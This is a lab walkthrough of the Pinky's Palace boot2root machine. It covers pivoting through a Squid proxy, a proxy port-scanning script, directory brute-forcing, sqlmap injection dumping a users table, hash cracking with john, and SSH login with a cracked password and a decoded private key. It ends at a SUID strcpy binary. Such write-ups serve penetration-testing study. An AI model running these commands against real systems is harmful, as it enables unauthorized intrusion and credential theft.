Pinky’s Palace is an easy/intermediate boot2root machine I have been working on in the last 3 days. It definitely was several orders of magnitude harder than Toppo and also quite harder than MrRobot.

The reason why I divided it in two parts is because at the moment I got local privilege and I need a bit more work to escalate to root.

Let’s start from the beginning.

Pinky's Palace 192.168.2.101
Kali 192.168.1.200

Port scan result:

root@kali:~# nmap -sSVC 192.168.2.101 -p-
Starting Nmap 7.70 ( https://nmap.org" ) at 2018-12-01 18:04 EET
Nmap scan report for pinkys-palace.home (192.168.2.101)
Host is up (0.0013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: 403 Forbidden
31337/tcp open http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
| 256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
|_ 256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As we can see there is a webserver instance, running Nginx, a Squid proxy and then SSH bind on a high port. Just browsing to the website gives 503, probably there is some IP based blocking. In order to rule out possibilities (URL based blocking) I tried to bruteforce directories on the website, without luck.

At this point I started looking at the proxy instance. If the proxy is misconfigured, it should allow request to local address, basically it can be used to bypass the IP-based blocking.

For this, I just use curl:

curl -x http://192.168.2.101:31337 127.0.0.1:8080

Curl successfully prints a website page.

At this point I want to use Squid to portscan the local address, for this I first used a module from Metasploit.

msf auxiliary(scanner/http/squid_pivot_scanning) >; show options

Module options (auxiliary/scanner/http/squid_pivot_scanning):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 CANARY_IP 1.2.3.4 yes The IP to check if the proxy always answers positively; the IP should not respond.
 MANUAL_CHECK true yes Stop the scan if server seems to answer positively to every request
 PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100 yes Ports to scan; must be TCP
 Proxies no A proxy chain of format type:host:port[,type:host:port][...]
 RANGE 127.0.0.1 yes IPs to scan through Squid proxy
 RHOSTS 192.168.2.101 yes The target address range or CIDR identifier
 RPORT 80 yes The target port (TCP)
 SSL false no Negotiate SSL/TLS for outgoing connections
 THREADS 1 yes The number of concurrent threads
 VHOST no HTTP server virtual host

msf auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 31337
RPORT => 31337

msf auxiliary(scanner/http/squid_pivot_scanning) > run

[+] [192.168.2.101] 127.0.0.1 is alive but 21 is CLOSED
[+] [192.168.2.101] 127.0.0.1 is alive but 80 is CLOSED
[*] [192.168.2.101] 127.0.0.1:139 blocked by ACL
[*] [192.168.2.101] 127.0.0.1:445 blocked by ACL
[+] [192.168.2.101] 127.0.0.1 is alive but 1433 is CLOSED
[+] [192.168.2.101] 127.0.0.1 is alive but 1521 is CLOSED
[+] [192.168.2.101] 127.0.0.1 is alive but 1723 is CLOSED
[+] [192.168.2.101] 127.0.0.1 is alive but 3389 is CLOSED
[+] [192.168.2.101] 127.0.0.1:8080 seems OPEN
[+] [192.168.2.101] 127.0.0.1 is alive but 9100 is CLOSED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Well, it works well, but I would need to manually set the ports that I want to check (maybe * works?). Because of this, I quickly put together a simple Python script to achieve the same. Squid is used to query 127.0.0.1:PORT. If the error that comes back is ‘connection refused’, then the port is closed. If it is ‘Access denied’ the port is just blocked/filtered. In other cases, the port is open.

import requests

proxy_address = "192.168.2.101"
proxy_port = "31337"

target = "127.0.0.1"
ports = range(1, 65536)

closed_message = "Connection refused"
acl_message = "Access Denied"

proxy = {
 "http": "%s:%s" % (proxy_address, proxy_port)
}
open_ports = []
for port in ports:
    response = requests.get("http://%s:%s/" % (target, port), proxies=proxy)
    content = response.text
    if closed_message in content:
        print "[-] Port %s is closed." % port
    elif acl_message in content:
        print "[!] Port %s is filtered." % port
    else:
        print "[+] Port %s is open." % port
        open_ports.append(port)
print "Ports open:"
print open_ports

Running this script finds port 3306 open. This is actually something that it would have been better not to find, since it brought me on a dead path for which I wasted a considerable amount of time.

Querying this port I got a file:

root@kali:~# hexdump -C output 
00000000 62 00 00 00 0a 35 2e 35 2e 35 2d 31 30 2e 31 2e |b....5.5.5-10.1.|
00000010 32 36 2d 4d 61 72 69 61 44 42 2d 30 2b 64 65 62 |26-MariaDB-0+deb|
00000020 39 75 31 00 07 00 00 00 66 2d 49 69 55 4b 5b 66 |9u1.....f-IiUK[f|
00000030 00 ff f7 2d 02 00 3f a0 15 00 00 00 00 00 00 00 |...-..?.........|
00000040 00 00 00 6c 6f 69 40 45 76 43 2d 56 48 47 69 00 |...loi@EvC-VHGi.|
00000050 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 |mysql_native_pas|
00000060 73 77 6f 72 64 00 21 00 00 01 ff 84 04 23 30 38 |sword.!......#08|
00000070 53 30 31 47 6f 74 20 70 61 63 6b 65 74 73 20 6f |S01Got packets o|
00000080 75 74 20 6f 66 20 6f 72 64 65 72                |ut of order|
0000008b

I can see that there is MySQL running and that is uses password authentication. At this point I try to (ab)use Squid and proxy mysql connection to the local port. I try for this to use socat

socat TCP4-LISTEN:3306,reuseaddr,fork PROXY:192.168.2.101:3306,proxyport=31337

The idea was to proxy local tcp port 3306 to the proxy which then should forward to mysqld. It didn’t work, I spent a lot of time, I used a UNIX socket as well for this, but I didn’t manage to make socat work properly.

Lesson 1: Improve in using socat.

Once I hit this wall, I started backtracking and wondering if I missed something. At first, I configured chromium from my workstation to use the proxy

chromium-browser --proxy-server="http=http://192.168.2.101:31337"

and I checked the website running on 127.0.0.1:8080. The page was pretty empty and was just saying that there some HTTP server under development. No input, no comments, no robots.txt. I then started bruteforcing the directories here as well. For this purpose, I used dirb tool, which turned out to be my personal favorite.

root@kali:/usr/share/dirb/wordlists# dirb http://127.0.0.1:8080/ directory-list-2.3-small.txt -p http://192.168.2.101:31337

This found out a directory:

/littlesecrets-main/

I went to the page and there was a login form with user and password. I tried random values and the form was submitted to login.php but I just got a generic error. I then bruteforced the listtlesecrets-main directory, this time looking for other .php pages.

root@kali:/usr/share/dirb/wordlists# dirb http://127.0.0.1:8080/littlesecrets-main/ big.txt -p http://192.168.2.101:31337 -X .php

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sun Dec 2 20:27:39 2018
URL_BASE: http://127.0.0.1:8080/littlesecrets-main/
WORDLIST_FILES: big.txt
PROXY: http://192.168.2.101:31337
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:15204393)

-----------------
END_TIME: Sun Dec 2 20:28:38 2018
DOWNLOADED: 20458 - FOUND: 2

I went to the logs.php page and I could see my login attempts with username, password and User-Agent reported.

No much information from my point of view, but at this point I decided to let sqlmap do its job.

root@kali:~/PinkyPalace# sqlmap --proxy http://192.168.2.101:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3

I run the most sofisticated test (and noisy). This test showed that the User-Agent was vulnerable to time-based Union queries with more than 10 columns. Woah.

At this point I run

root@kali:~/PinkyPalace# sqlmap --proxy http://192.168.2.101:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump tables[/bash]

Which shows logs and user tables. I guess one is the one that is dumped by logs.php, the other has the actual users.

root@kali:~/PinkyPalace# sqlmap --proxy http://192.168.2.101:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump users[/bash]

It took a lot of time to get this to complete, since the queries are time based. Anyway, sqlmap managed to nicely dump:

[21:25:08] [INFO] recognized possible password hashes in column 'pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:27:03] [INFO] writing hashes to a temporary file '/tmp/sqlmap6FdqU19410/sqlmaphashes-Y_8V0H.txt' 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass | user |
+-----+----------------------------------+-------------+
| 1 | f543dbfeaf238729831a321c7a68bee4 | pinky | 
| 2 | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage | 
+-----+----------------------------------+-------------+

Well done, these are hashes. At this point I try to crack them. I have several password wordlists downloaded. The one that helped was the huge rockyou.txt (130MB).

root@kali:~/PinkyPalace# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 --pot=cracked hash
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
3pinkysaf33pinkysaf3 (?)
1g 0:00:00:02 DONE (2018-12-03 23:51) 0.4032g/s 5783Kp/s 5783Kc/s 10809KC/s 7..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So, it managed to crack the hash for the pinkymanage user –> 3pinkysaf33pinkysaf3

At this point I frist try to put the user and password in the website form, but nothing happens. I then try SSH and it works :)

root@kali:/usr/share/wordlists# ssh pinkymanage@192.168.2.101 -p 64666
pinkymanage@192.168.2.101's password:
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 2 04:00:51 2018 from 127.0.0.1
pinkymanage@pinkys-palace:~$

Boom, I have local privileges. I start looking around. Processes, files, /etc, /var, logs, SETUID, SETGID etc. Usual drill. I do not find absolutely anything interesting. At some point though I get curious and I found another folder inside /var/www/html, right near littlesecrets-main.

pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Feb 2 2018 .
drwxr-xr-x 3 root root 4096 Feb 2 2018 ..
-rw-r--r-- 1 root root 2270 Feb 2 2018 .ultrasecret
-rw-r--r-- 1 root root 99 Feb 2 2018 note.txt

pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt
Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh..
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat .ultrasecret
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMTZmeEwzLyto
L0lMVFpld2t2ZWtoSVExeWswb0xJK3kzTjRBSXRraGV6MTFJaGE4CkhjN0tPeC9MOWcyamQzSDhk
R1BVZktLcjlzZXF0Zzk3WktBOTVTL3NiNHczUXRsMUFCdS9wVktaQmJHR3NIRy8KeUl2R0VQS1Mr
QlNaNHN0TVc3SG54N2NpTXVod2Nad0xxWm1zeVN1bUVDVHVlUXN3TlBibElUbHJxb2xwWUY4eApl
NDdFbDlwSHdld05XY0lybXFyYXhDSDVUQzdVaGpnR2FRd21XM3FIeXJTcXAvaksvY3RiMVpwblB2
K0RDODMzCnUvVHlqbTZ6OFJhRFpHL2dSQklyTUduTmJnNHBaRmh0Z2JHVk9mN2ZlR3ZCRlI4QmlU
KzdWRmZPN3lFdnlCeDkKZ3hyeVN4dTJaMGFPTThRUjZNR2FETWpZVW5COWFUWXV3OEdQNHdJREFR
QUJBb0lCQUE2aUg3U0lhOTRQcDRLeApXMUx0cU9VeEQzRlZ3UGNkSFJidG5YYS80d3k0dzl6M1Mv
WjkxSzBrWURPbkEwT1VvWHZJVmwvS3JmNkYxK2lZCnJsZktvOGlNY3UreXhRRXRQa291bDllQS9r
OHJsNmNiWU5jYjNPbkRmQU9IYWxYQVU4TVpGRkF4OWdrY1NwejYKNkxPdWNOSUp1eS8zUVpOSEZo
TlIrWVJDb0RLbkZuRUlMeFlMNVd6MnFwdFdNWUR1d3RtR3pPOTY4WWJMck9WMQpva1dONmdNaUVp
NXFwckJoNWE4d0JSUVZhQnJMWVdnOFdlWGZXZmtHektveEtQRkt6aEk1ajQvRWt4TERKcXQzCkxB
N0pSeG1Gbjc3L21idmFEVzhXWlgwZk9jUzh1Z3lSQkVOMFZwZG5GNmtsNnRmT1hLR2owZ2QrZ0Fp
dzBUVlIKMkNCN1BzRUNnWUVBOElXM1pzS3RiQ2tSQnRGK1ZUQnE0SzQ2czdTaFc5QVo2K2JwYitk
MU5SVDV4UkpHK0RzegpGM2NnNE4rMzluWWc4bUZ3c0Jobi9zemdWQk5XWm91V3JSTnJERXhIMHl1
NkhPSjd6TFdRYXlVaFFKaUlQeHBjCm4vRWVkNlNyY3lTZnpnbW50T2liNGh5R2pGMC93bnRqTWM3
M3h1QVZOdU84QTZXVytoZ1ZIS0VDZ1lFQTVZaVcKSzJ2YlZOQnFFQkNQK3hyQzVkSE9CSUVXdjg5
QkZJbS9Gcy9lc2g4dUU1TG5qMTFlUCsxRVpoMkZLOTJReDlZdgp5MWJNc0FrZitwdEZVSkxjazFN
MjBlZkFhU3ZPaHI1dWFqbnlxQ29mc1NVZktaYWE3blBRb3plcHFNS1hHTW95Ck1FRWVMT3c1NnNK
aFNwMFVkWHlhejlGUUFtdnpTWFVudW8xdCtnTUNnWUVBdWJ4NDJXa0NwU0M5WGtlT3lGaGcKWUdz
TE45VUlPaTlrcFJBbk9seEIzYUQ2RkY0OTRkbE5aaFIvbGtnTTlzMVlPZlJYSWhWbTBaUUNzOHBQ
RVZkQQpIeDE4ci8yRUJhV2h6a1p6bGF5ci9xR29vUXBwUkZtbUozajZyeWZCb21RbzUrSDYyVEE3
bUl1d3Qxb1hMNmM2Ci9hNjNGcVBhbmcyVkZqZmNjL3IrNnFFQ2dZQStBenJmSEZLemhXTkNWOWN1
ZGpwMXNNdENPRVlYS0QxaStSd2gKWTZPODUrT2c4aTJSZEI1RWt5dkprdXdwdjhDZjNPUW93Wmlu
YnErdkcwZ016c0M5Sk54SXRaNHNTK09PVCtDdwozbHNLeCthc0MyVng3UGlLdDh1RWJVTnZEck9Y
eFBqdVJJbU1oWDNZU1EvVUFzQkdSWlhsMDUwVUttb2VUSUtoClNoaU9WUUtCZ1FEc1M0MWltQ3hX
Mm1lNTQxdnR3QWFJcFE1bG81T1Z6RDJBOXRlRVBzVTZGMmg2WDdwV1I2SVgKQTlycExXbWJmeEdn
SjBNVmh4Q2pwZVlnU0M4VXNkTXpOYTJBcGN3T1dRZWtORTRlTHRPN1p2MlNWRHI2Y0lyYwpIY2NF
UCtNR00yZVVmQlBua2FQa2JDUHI3dG5xUGY4ZUpxaVFVa1dWaDJDbll6ZUFIcjVPbUE9PQotLS0t
LUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=

So, this is a private key. I decode the base64 and save it to file.

cat .ultrasecret | base64 -d >> pinky.key

I try the obvious thing: I checked from /etc/passwd and I saw that there is also pinky user, the same that was also inside the database. I then just try ssh-ing with it using this private key.

root@kali:~/PinkyPalace# ssh pinky@192.168.2.101 -i pinky.key -p 64666
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 2 05:54:01 2018 from 172.19.19.2
pinky@pinkys-palace:~$

It worked. Now, this user does not have root as well, but…

-rwsr-xr-x 1 root root 8880 Feb 2 2018 adminhelper
-rw-r--r-- 1 root root 280 Feb 2 2018 note.txt
pinky@pinkys-palace:~$ cat note.txt
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I'm fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet :(

There is a SETUID binary. A quick disassembly shows me that it uses strcpy and puts. Both are unsafe functions, so I know that I will have to look for a buffer overflow, but that will be the part 2.

0000000000000813 <main>:
813: 55 push %rbp
814: 48 89 e5 mov %rsp,%rbp
817: 48 83 ec 50 sub $0x50,%rsp
81b: 89 7d bc mov %edi,-0x44(%rbp)
81e: 48 89 75 b0 mov %rsi,-0x50(%rbp)
822: 83 7d bc 02 cmpl $0x2,-0x44(%rbp)
826: 75 26 jne 84e <main+0x3b>
828: 48 8b 45 b0 mov -0x50(%rbp),%rax
82c: 48 83 c0 08 add $0x8,%rax
830: 48 8b 10 mov (%rax),%rdx
833: 48 8d 45 c0 lea -0x40(%rbp),%rax
837: 48 89 d6 mov %rdx,%rsi
83a: 48 89 c7 mov %rax,%rdi
83d: e8 fe fd ff ff callq 640 <strcpy@plt>
842: 48 8d 45 c0 lea -0x40(%rbp),%rax
846: 48 89 c7 mov %rax,%rdi
849: e8 02 fe ff ff callq 650 <puts@plt>
84e: b8 00 00 00 00 mov $0x0,%eax
853: c9 leaveq
854: c3 retq
855: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
85c: 00 00 00
85f: 90 nop

The plan is to grab gdb, the shellcoder handbook as a reference and tomorrow I will just exploit this little binary to spawn a shell. Might be easy, might take some time, but it’s going to be fun.


For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.